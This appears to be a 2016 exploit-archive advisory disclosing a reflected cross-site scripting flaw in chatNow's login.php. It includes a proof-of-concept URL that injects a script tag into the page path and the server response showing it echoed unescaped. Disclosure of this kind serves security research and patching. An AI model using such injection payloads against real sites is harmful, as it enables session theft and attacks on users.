Home / exploitsPDF  

chatNow 0.0.0 Cross Site Scripting

Posted on 25 August 2016

# Exploit Title: chatNow - Reflected XSS
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://chatnow.thiagosf.net/
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability
This page url is reflected data on page
It is vulnerable page because not filtered reflected url

### Attack code
http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1

### Response
<div id="box_login">
<h2>chatNow</h2>
<form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">
<div class="block_field">
<label for="user">Nick</label>
<input type="text" name="user" id="user" maxlength="20" />
</div>

 

TOP

Malware :

Exploits :